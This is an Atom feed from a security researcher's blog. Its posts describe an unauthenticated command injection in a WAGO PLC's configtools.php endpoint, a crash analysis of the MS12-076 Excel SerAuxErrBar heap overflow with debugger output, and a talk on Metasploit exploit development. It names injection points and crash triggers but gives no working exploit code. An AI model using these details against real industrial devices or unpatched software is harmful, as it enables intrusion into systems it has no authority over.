<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3217787519883393565</id><updated>2025-09-11T18:54:30.243+03:00</updated><category term="vulnerability"/><category term="web app security"/><category term="security"/><category term="owasp-tr"/><category term="php"/><category term="analiz"/><category term="exploit"/><category term="exploiting"/><category term="metasploit"/><category term="poc"/><category term="remote command execution"/><category term="wgt"/><category term="application security"/><category term="code injection"/><category term="command injection"/><category term="file format"/><category term="hacking"/><category term="linux"/><category term="sql injection"/><category term="web application"/><category term="analysis"/><category term="canberk"/><category term="easy life"/><category term="heap overflow"/><category term="javascript"/><category term="love linux"/><category term="me"/><category term="mysql"/><category term="obfuscating"/><category term="off-by-one"/><category term="overflow"/><category term="ruby"/><category term="sunum"/><category term="windows .lnk"/><category term=".net"/><category term="2011"/><category term="CVE-2012-1885"/><category term="Google"/><category term="Google Hacking"/><category term="ali kapucu"/><category term="appsectr"/><category term="asm"/><category term="awk"/><category term="basics"/><category term="binary search"/><category term="bsqli"/><category term="cb"/><category term="checklist"/><category term="chrome crash"/><category term="coding"/><category term="command argument injection"/><category term="connand injection"/><category term="crash"/><category term="ctf"/><category term="cve-2011-3416"/><category term="cve-2012-0500"/><category term="cve-2012-1876"/><category term="cve-2012-2760"/><category term="debugging"/><category term="dep bypass"/><category term="dergi"/><category term="elf"/><category term="elf header table"/><category term="elf internals"/><category term="elf parser"/><category term="encryption"/><category term="file inclusion"/><category term="forefront bypass"/><category term="format string"/><category term="forms authentication bypass"/><category term="friends"/><category term="fun"/><category term="fuzzing"/><category term="gdb"/><category term="group office"/><category term="hello world"/><category term="ie9"/><category term="imagemagic"/><category term="istsec"/><category term="istsec 11"/><category term="java"/><category term="java web start"/><category term="javaws"/><category term="lfi"/><category term="lily allen"/><category term="local file inclusion"/><category term="love awk"/><category term="malware"/><category term="meterpreter"/><category term="microsoft .net"/><category term="microsoft forefront"/><category term="ms11-100"/><category term="ms12-076"/><category term="new technique"/><category term="nmap"/><category term="null byte"/><category term="null ptr"/><category term="obfuscated code"/><category term="owasp"/><category term="parser"/><category term="patch diff"/><category term="pe"/><category term="penetration test"/><category term="pentest"/><category term="pidgin"/><category term="plan9"/><category term="programming"/><category term="pwning"/><category term="remote code execution"/><category term="reversing"/><category term="rop"/><category term="serauxerrbar"/><category term="simple-press"/><category term="sql code inclusion"/><category term="sqlite"/><category term="sqlite encryption"/><category term="sudo"/><category term="tomcat"/><category term="uniform binary search"/><category term="uygulama güvenliği"/><category term="video"/><category term="web application security"/><category term="webkit"/><category term="webkit bug"/><category term="webkit cssText"/><category term="wikiwebhelp"/><category term="windows"/><category term="wordpress"/><category term="xls"/><category term="yasin"/><category term="özgür yazılım"/><title type='text'>Canberk Bolat</title><subtitle type='html'>vulnerabilities, exploits, opinions...</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>50</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3217787519883393565.post-4017611080644050126</id><published>2017-08-01T16:49:00.000+03:00</published><updated>2017-08-01T22:20:50.660+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="command injection"/><category scheme="http://www.blogger.com/atom/ns#" term="vulnerability"/><category scheme="http://www.blogger.com/atom/ns#" term="web application security"/><title type='text'>Silently Fixed Unauthorized Command Injection in WAGO PLC Ethernet</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
It&#39;s been almost 4 years I didn&#39;t blogged anything on anywhere (shame).&lt;br /&gt;&lt;br /&gt;Anyway, recently found Unauthorized Command Injection vulnerability in WAGO PLC&#39;s web-based management software. Affected device is &lt;a href=&quot;http://www.wago.us/products/components-for-automation/modular-io-system-ip-20-750753-series/plc/pfc200/&quot;&gt;here&lt;/a&gt; (WAGO 750-8202 PFC200 CS 2ETH RS).&lt;br /&gt;&lt;br /&gt;P.S: This is not related with &lt;a href=&quot;https://tools.cisco.com/security/center/viewAlert.x?alertId=52214&quot;&gt;CVE-2016-9362&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;You would need following tools if you would like to analyze vulnerability by yourself;&lt;br /&gt;&lt;ul&gt;
&lt;li&gt;Burp Suite&amp;nbsp;&lt;/li&gt;
&lt;li&gt;A Web Browser&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Binwalk&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Code Editor (My fav is Sublime Text, it&#39;s so lightweight and have good themes)&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
If you fire up your MITM proxy (Burp Suite is my choice) and visit web application, eventually you will notice that application do lots of XML HTTP Requests and one of requested URL is /wbm/configtools.php. That endpoint executes some OS commands and shares output with the web application (I know 90&#39;s wants it&#39;s vulnerabilities back).&lt;br /&gt;&lt;br /&gt;While playing with JSON payload sent to configtools.php endpoint, find out that it&#39;s possible to inject OS commands into &quot;parameter&quot; JSON value. Injected commands such as uname -a and id.&lt;div&gt;
&lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxxF-o9V5j66hYlEkSXAHp6BZDOMg6v_aRJAKokuZ65v95MBzwwJvWzGx4dA1n12VJNkZ9nl3i50rZh9iq5INU1ZBQkUmsGqItwW91H-WWdcECJHBLvuMj44r7huOTJF4lj9RB3LDp-rd6/s1600/CmdInj.png&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxxF-o9V5j66hYlEkSXAHp6BZDOMg6v_aRJAKokuZ65v95MBzwwJvWzGx4dA1n12VJNkZ9nl3i50rZh9iq5INU1ZBQkUmsGqItwW91H-WWdcECJHBLvuMj44r7huOTJF4lj9RB3LDp-rd6/s1600/CmdInj.png&quot; /&gt;&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Results of executed commands.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmmUOMcjxs1bqnLSgdie-qhbz-22iv_mmPokcBLVAleJEqLRDPxKZPtkOI2XmKIxON6MxZTZqZjEC9T1L3AhrjqnuN0kv1sCVQqxplg-BtD6k4gsE9TECX3-EGkhelKJqZBtFFE_YubJJ5/s1600/CmdInj-2.png&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmmUOMcjxs1bqnLSgdie-qhbz-22iv_mmPokcBLVAleJEqLRDPxKZPtkOI2XmKIxON6MxZTZqZjEC9T1L3AhrjqnuN0kv1sCVQqxplg-BtD6k4gsE9TECX3-EGkhelKJqZBtFFE_YubJJ5/s1600/CmdInj-2.png&quot; /&gt;&lt;/a&gt; &lt;br /&gt;Bingo! Easy and quick win against a dummy device web-based management software.&lt;br /&gt;&lt;br /&gt;To confirm that critical vulnerability in latest version of firmware, simply downloaded the latest firmware from WAGO&#39;s web site, extracted it with &lt;a href=&quot;https://github.com/devttys0/binwalk&quot;&gt;binwalk&lt;/a&gt; (thanks authors of binwalk) and start to review source code.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGjkCgI68T1WE6ZBh03mleWe5QvOFixv3IhvW8-3XPDOn1apDnBeuVk_h-KAXw0EpwBxOJgYmt9VbWyYKY_shLRQQ5OdyfW1TYGZ32MXN8__dywwTP944GQcPmIcroA13Fd_LrToQGQW0U/s1600/Extracted-Firmware.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;377&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGjkCgI68T1WE6ZBh03mleWe5QvOFixv3IhvW8-3XPDOn1apDnBeuVk_h-KAXw0EpwBxOJgYmt9VbWyYKY_shLRQQ5OdyfW1TYGZ32MXN8__dywwTP944GQcPmIcroA13Fd_LrToQGQW0U/s640/Extracted-Firmware.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In the source code, CallConfigtoolByJson function called to JSON request from browser which later call CallConfigtool function to process &quot;parameter&quot; value in JSON payload. &lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh85vRHg1Qb1B0Xcgvzu7fU0C1pqQh1FfIFOXIRrEnULzQOe-B_2kuyKqKBqy5P4x9aW4Fd3hNbtgPuBu-hyefY6yjk5fSnXh-XltVRiondufo9yfMxqh-crC9F3wT9pu7uW8gjLQY4yLlJ/s1600/Extracted-Firmware-SourceCode.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;482&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh85vRHg1Qb1B0Xcgvzu7fU0C1pqQh1FfIFOXIRrEnULzQOe-B_2kuyKqKBqy5P4x9aW4Fd3hNbtgPuBu-hyefY6yjk5fSnXh-XltVRiondufo9yfMxqh-crC9F3wT9pu7uW8gjLQY4yLlJ/s640/Extracted-Firmware-SourceCode.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;OK, commments and code fixes show that they found it internally (maybe?) and fixed it silently. Requested old firmwares but they didn&#39;t send me yet :)&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/4017611080644050126/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cbolat.blogspot.com/2017/08/silently-fixed-unauthorizedcommand.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/4017611080644050126'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/4017611080644050126'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/2017/08/silently-fixed-unauthorizedcommand.html' title='Silently Fixed Unauthorized Command Injection in WAGO PLC Ethernet'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxxF-o9V5j66hYlEkSXAHp6BZDOMg6v_aRJAKokuZ65v95MBzwwJvWzGx4dA1n12VJNkZ9nl3i50rZh9iq5INU1ZBQkUmsGqItwW91H-WWdcECJHBLvuMj44r7huOTJF4lj9RB3LDp-rd6/s72-c/CmdInj.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3217787519883393565.post-1725712839277679269</id><published>2013-05-11T03:42:00.001+03:00</published><updated>2013-05-11T03:43:34.210+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="analysis"/><category scheme="http://www.blogger.com/atom/ns#" term="CVE-2012-1885"/><category scheme="http://www.blogger.com/atom/ns#" term="file format"/><category scheme="http://www.blogger.com/atom/ns#" term="heap overflow"/><category scheme="http://www.blogger.com/atom/ns#" term="ms12-076"/><category scheme="http://www.blogger.com/atom/ns#" term="serauxerrbar"/><category scheme="http://www.blogger.com/atom/ns#" term="vulnerability"/><category scheme="http://www.blogger.com/atom/ns#" term="xls"/><title type='text'>MS12-076 Excel SerAuxErrBar Heap Overflow Vulnerability</title><content type='html'>There was a Heap Overflow vulnerability (CVE-2012-1885) in Excel while parsing SerAuxErrBar structure from xls (Excel&#39;s old binary format) files. So I decided to took on it (a little bit analysis). But I faced with reality that there is no public debugging symbols for Excel :( When I read advisory&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt; [1]&lt;/span&gt; I don&#39;t understand anything as always &#39;cause Microsoft only says &quot;A remote code execution vulnerability exists in the way that Microsoft Excel handles specially crafted Excel files. An attacker who successfully exploited this vulnerability could take..&quot;. That&#39;s shit description :( Then I look for SerAuxErrBar structure and found something on MSDN that describes this structure &lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;[2]&lt;/span&gt;. But there was another question. &quot;&lt;i&gt;How one could create SerAuxErrBar structure?&lt;/i&gt;&quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8HSxccs_2QnSj1eScKusWrjLs2ZkocHoQI7VlnrwPpB0Ni0pzpyrwXaJuxjqP-dYokTqeRKNd-Zj3QjqpthggTH8KMhtoJZIW3h4I3iazER5lbSzDMz6mUiDEKuvSkVTlqTZl664N_-pK/s1600/ss1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8HSxccs_2QnSj1eScKusWrjLs2ZkocHoQI7VlnrwPpB0Ni0pzpyrwXaJuxjqP-dYokTqeRKNd-Zj3QjqpthggTH8KMhtoJZIW3h4I3iazER5lbSzDMz6mUiDEKuvSkVTlqTZl664N_-pK/s1600/ss1.png&quot; /&gt;&lt;/a&gt;Specification says &quot;&lt;i&gt;The SerAuxErrBar record specifies properties of an error bar&lt;/i&gt;&quot;. So it should be related with error bar. But WTF is Error Bar &lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;[3]&lt;/span&gt;? Specification help us again; &quot;&lt;i&gt;An error bar is a set of lines displayed on a chart (section 2.2.3.3) that indicates a range of uncertainty in the measurement of each data points (section 2.2.3.10) in a series (section 2.2.3.9).&lt;/i&gt;&quot;. So I start with creating a bar chart, set a Error Bar and search for SerAuxErrBar structure in binary format.&lt;br /&gt;
&lt;br /&gt;
I was set my error bars as vertical so started search with 0x03, my ebsrc choice was Custom Values (that means 0x04 should follow 0x03) etc..&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After half an hour, I found SerAuxErrBar structure (see below picture).&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH3ykxFlF1j95_O0o6XpbEqS79PGvHFeK38CzP2y7r8aUfN8iBBj6yiLosILst1GC1NrTHOtWvlHMqkzD6HWF-OSn0Sx6V7qro0hKw3HSyz2OYyWj8LJvcn_Q5xk2YV9uU1V9QtoF2BjXH/s1600/SerAuxErrBar+Record.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH3ykxFlF1j95_O0o6XpbEqS79PGvHFeK38CzP2y7r8aUfN8iBBj6yiLosILst1GC1NrTHOtWvlHMqkzD6HWF-OSn0Sx6V7qro0hKw3HSyz2OYyWj8LJvcn_Q5xk2YV9uU1V9QtoF2BjXH/s1600/SerAuxErrBar+Record.PNG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Another interesting thing in this structure is numValue field. It&#39;s 8 byte length and contains an Xnum (WTF is Xnum? Thanks god there are references and converters about Xnum on Internet &lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;[4]&lt;/span&gt;&lt;span style=&quot;color: red; font-size: x-small;&quot;&gt;[5]&lt;/span&gt;) Xnum is a &quot;&lt;i&gt;64-bit binary floating-point number as specified in [IEEE754].&lt;/i&gt;&quot; (from MSDN).&amp;nbsp;&lt;/div&gt;
&lt;span id=&quot;goog_1910359730&quot;&gt;&lt;/span&gt;&lt;span id=&quot;goog_1910359731&quot;&gt;&lt;/span&gt;&lt;br /&gt;
I got following crash after changed some value in SerAuxErrBar structure.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;(2514.f0c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for Excel.exe - 
Excel!Ordinal40+0x20b3b2:
00000001`3fd7b3b2 66394808        cmp     word ptr [rax+8],cx ds:00000000`00000008=????
0:000&amp;gt; r
rax=0000000000000000 rbx=0000000000000000 rcx=000000000000089e
rdx=0000000000000002 rsi=0000000000000000 rdi=00000000036fba20
rip=000000013fd7b3b2 rsp=000000000017f690 rbp=0000000000000000
 r8=00000000ffffffff  r9=0000000000000003 r10=00000000004e3570
r11=0000000003656c00 r12=00000000036543c0 r13=000000000443bc80
r14=0000000000000339 r15=00000000ffffffff
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
Excel!Ordinal40+0x20b3b2:
00000001`3fd7b3b2 66394808        cmp     word ptr [rax+8],cx ds:00000000`00000008=????
0:000&amp;gt; kpL 10
Child-SP          RetAddr           Call Site
00000000`0017f690 00000001`3fd51e24 Excel!Ordinal40+0x20b3b2
00000000`0017f6e0 00000001`3fd54d33 Excel!Ordinal40+0x1e1e24
00000000`0017f740 00000001`3fd5c034 Excel!Ordinal40+0x1e4d33
00000000`0017f8b0 00000001`3fd5bca5 Excel!Ordinal40+0x1ec034
00000000`0017fa30 00000001`3fd5b91d Excel!Ordinal40+0x1ebca5
00000000`0017fb00 00000001`3fd5b834 Excel!Ordinal40+0x1eb91d
00000000`0017fbd0 00000001`3fd5ac97 Excel!Ordinal40+0x1eb834
00000000`00181db0 00000001`3fd5aa5f Excel!Ordinal40+0x1eac97
00000000`00181ee0 00000001`3fd5b2d4 Excel!Ordinal40+0x1eaa5f
00000000`00181ff0 00000001`3fd5cddc Excel!Ordinal40+0x1eb2d4
00000000`00183630 00000001`3fd71d1c Excel!Ordinal40+0x1ecddc
00000000`001836b0 00000001`3fd721ee Excel!Ordinal40+0x201d1c
00000000`00183710 00000001`3fd09027 Excel!Ordinal40+0x2021ee
00000000`00183750 00000001`3fcdadba Excel!Ordinal40+0x199027
00000000`00183c00 00000001`3fcf1abb Excel!Ordinal40+0x16adba
00000000`00185e40 00000001`4021805c Excel!Ordinal40+0x181abb
&lt;/pre&gt;
&lt;br /&gt;
and hours later my journey finished at memmove crash.&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;0:014&amp;gt; g
(2af8.171c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
MSVCR90!memmove+0xd6:
00000000`721ae306 4c8951f8        mov     qword ptr [rcx-8],r10 ds:00000000`1db3c000=????????????????
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Microsoft Office\Office14\EXCEL.EXE - 
0:000&amp;gt; kv
Child-SP          RetAddr           : Args to Child                                                           : Call Site
00000000`0024f4d8 00000001`3f82517c : 00000000`1dd95a60 00000000`00000000 00000000`00000004 00000000`00000003 : MSVCR90!memmove+0xd6
00000000`0024f4e0 00000001`3f827d1a : 00000000`00000002 00000000`0000000a 00000000`00000002 00000000`00000001 : EXCEL!Ordinal40+0x1a517c
00000000`00251bc0 00000001`3f82878a : 00000000`0000000a 00000000`0000000a 00000000`00000000 00000000`00000000 : EXCEL!Ordinal40+0x1a7d1a
00000000`002523e0 00000001`3f82d798 : 00000000`00000000 00000000`00000000 00000000`1e40df80 00000000`01a60000 : EXCEL!Ordinal40+0x1a878a
00000000`002526c0 00000001`3f832f89 : 00000000`01a60000 00000001`3f85f4a3 00000000`00253240 00000000`00000000 : EXCEL!Ordinal40+0x1ad798
00000000`00252ff0 00000001`3f8266c0 : 00000000`00253240 00000000`00000080 00000000`00000001 00000000`00000000 : EXCEL!Ordinal40+0x1b2f89
00000000`00253020 00000001`3f8264cd : 00000000`002563c0 000007fe`0000001a 00000000`00253240 00000000`1e417f50 : EXCEL!Ordinal40+0x1a66c0
00000000`00253210 00000001`3f825f0f : 00000000`1e417f50 000007fe`e231600c 00000000`00000008 00000000`00253960 : EXCEL!Ordinal40+0x1a64cd
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office14\mso.dll - 
00000000`002533b0 000007fe`e241a48f : 00000000`00000008 00000000`1e417f50 00000000`00253960 00000000`1e417f00 : EXCEL!Ordinal40+0x1a5f0f
00000000`002533f0 000007fe`e2419c01 : 00000000`00000001 00000001`00000001 00000000`1e417f50 00000000`00000001 : mso!Ordinal450+0x28f3
00000000`00253500 000007fe`e2419ed7 : 00000000`000000c6 00000000`00000000 00000000`00000000 00000000`1e41df00 : mso!Ordinal450+0x2065
00000000`002535a0 000007fe`e2419c01 : 00000000`1e41df00 00000000`00000000 00000000`1e427d20 00000000`00275270 : mso!Ordinal450+0x233b
00000000`00253660 000007fe`e241968c : 00000000`000000c6 00000000`0000f002 00000000`0000f002 00000000`1e427d20 : mso!Ordinal450+0x2065
00000000`00253700 000007fe`e2418511 : 00000000`00000008 00000000`00002020 00000000`1e427d20 00000000`00253960 : mso!Ordinal450+0x1af0
00000000`00253870 00000001`3f826056 : 00000000`1e427d20 00000000`1deddd10 00000000`1e427d20 00000000`00002020 : mso!Ordinal450+0x975
00000000`002538e0 00000001`3f80e2e7 : 00000000`00000000 00000000`00002020 00000000`1de9fdb8 00000000`00000000 : EXCEL!Ordinal40+0x1a6056
00000000`002539e0 00000001`3f7e96cd : 00000000`1e003fc0 00000000`1e278fd0 00000000`00000010 00000000`00000000 : EXCEL!Ordinal40+0x18e2e7
00000000`00254cb0 00000001`3f818c14 : 00000000`18efe470 00000000`00255f00 00000000`0025a240 00000000`00000000 : EXCEL!Ordinal40+0x1696cd
00000000`00255e90 00000001`3f7eadba : 00000000`00000001 00000000`00000001 00000000`00000000 00000000`00000000 : EXCEL!Ordinal40+0x198c14
00000000`00256340 00000001`3f801abb : 00000000`00258650 00000000`0025a450 00000000`0025a240 00000000`0025a240 : EXCEL!Ordinal40+0x16adba
00000000`00258580 00000001`3fd2805c : 00000000`00001008 000007fe`00000026 00000000`00000000 00000000`0025ef78 : EXCEL!Ordinal40+0x181abb
00000000`0025ede0 00000001`3fd27ebf : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`0025f260 : EXCEL!Ordinal40+0x6a805c
00000000`0025f090 00000001`4006f88f : 00000000`0025f260 00000000`00000000 00000000`00000001 00000000`00001008 : EXCEL!Ordinal40+0x6a7ebf
00000000`0025f240 00000001`3f79249f : 00000000`000003f8 00000000`00000800 00000000`00000800 00000000`0000bfff : EXCEL!Ordinal40+0x9ef88f
00000000`0025f440 00000001`3f7d3041 : 00000000`00000000 00000000`0000ffff 00000000`00000000 00000001`40cdde30 : EXCEL!Ordinal40+0x11249f
00000000`0025f610 00000001`3f73a32c : 00000000`00000000 00000000`ffffffff 00000000`01af3ff7 00000000`00000800 : EXCEL!Ordinal40+0x153041
00000000`0025f820 00000001`3f7e1b46 : 00000000`00000000 00000000`00000000 00000000`00000000 00000001`00000001 : EXCEL!Ordinal40+0xba32c
00000000`0025f910 00000000`772a652d : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : EXCEL!Ordinal40+0x161b46
00000000`0025f9c0 00000000`7789c521 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : kernel32!BaseThreadInitThunk+0xd
00000000`0025f9f0 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x1d
&lt;/pre&gt;
&lt;br /&gt;
Exploitable? Yes it&#39;s exploitable but needs some kung-foo. PoC? Meh, prepare it yourself and e-mail me if you&#39;re not exploit kit developer and failed to trigger it :p&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
References&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;http://technet.microsoft.com/en-us/security/bulletin/ms12-076&quot;&gt;http://technet.microsoft.com/en-us/security/bulletin/ms12-076&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/dd920699(v=office.12).aspx&quot;&gt;http://msdn.microsoft.com/en-us/library/dd920699(v=office.12).aspx&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/dd908530(v=office.12).aspx&quot;&gt;http://msdn.microsoft.com/en-us/library/dd908530(v=office.12).aspx&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/dd953512(v=office.12).aspx&quot;&gt;http://msdn.microsoft.com/en-us/library/dd953512(v=office.12).aspx&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://babbage.cs.qc.cuny.edu/IEEE-754.old/Decimal.html&quot;&gt;http://babbage.cs.qc.cuny.edu/IEEE-754.old/Decimal.html&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content><link rel='replies' type='application/atom+xml' href='http://cbolat.blogspot.com/feeds/1725712839277679269/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cbolat.blogspot.com/2013/05/ms12-076-excel-serauxerrbar-heap.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/1725712839277679269'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3217787519883393565/posts/default/1725712839277679269'/><link rel='alternate' type='text/html' href='http://cbolat.blogspot.com/2013/05/ms12-076-excel-serauxerrbar-heap.html' title='MS12-076 Excel SerAuxErrBar Heap Overflow Vulnerability'/><author><name>Canberk Bolat</name><uri>http://www.blogger.com/profile/05827792371374130033</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh69qzGz6nLrRrJDs9H_QpOqEPACQbfq_KPNwzAemvpR5TaFSxsnFpeUsqnUE7rpijL-bHczraulK_d47_d9cs6PlUqgl3e8xze87ltf6Anfg96fn9OTR3GGF8huBceWwk/s220/P120411_15.46.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8HSxccs_2QnSj1eScKusWrjLs2ZkocHoQI7VlnrwPpB0Ni0pzpyrwXaJuxjqP-dYokTqeRKNd-Zj3QjqpthggTH8KMhtoJZIW3h4I3iazER5lbSzDMz6mUiDEKuvSkVTlqTZl664N_-pK/s72-c/ss1.png" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3217787519883393565.post-8771220284920962526</id><published>2013-04-11T02:50:00.001+03:00</published><updated>2013-04-11T02:51:34.127+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="exploiting"/><category scheme="http://www.blogger.com/atom/ns#" term="metasploit"/><title type='text'>Metasploit Framework ile Exploit Gelistirme Sunumu</title><content type='html'>Uzun bir sure sonra blog yaziyorum sanirim:) Gecenlerde Fatih Ozavci ile Ozgur Yazilim Gunleri 2013&#39;te Metasploit Framework ile Exploit Gelistirme baslikli bir sunum gerceklestirdik. Metasploit Framework yapisi, exploiting (cok yuzeysel) ve ornek moduller uzerinden modul gelistirme konusunda bilgi aktarmaya calistik. Merak edenler icin sunum asagida.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;Ayrica umuyorum tekrar bir seyler yazarim buraya yakin zamanda.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;

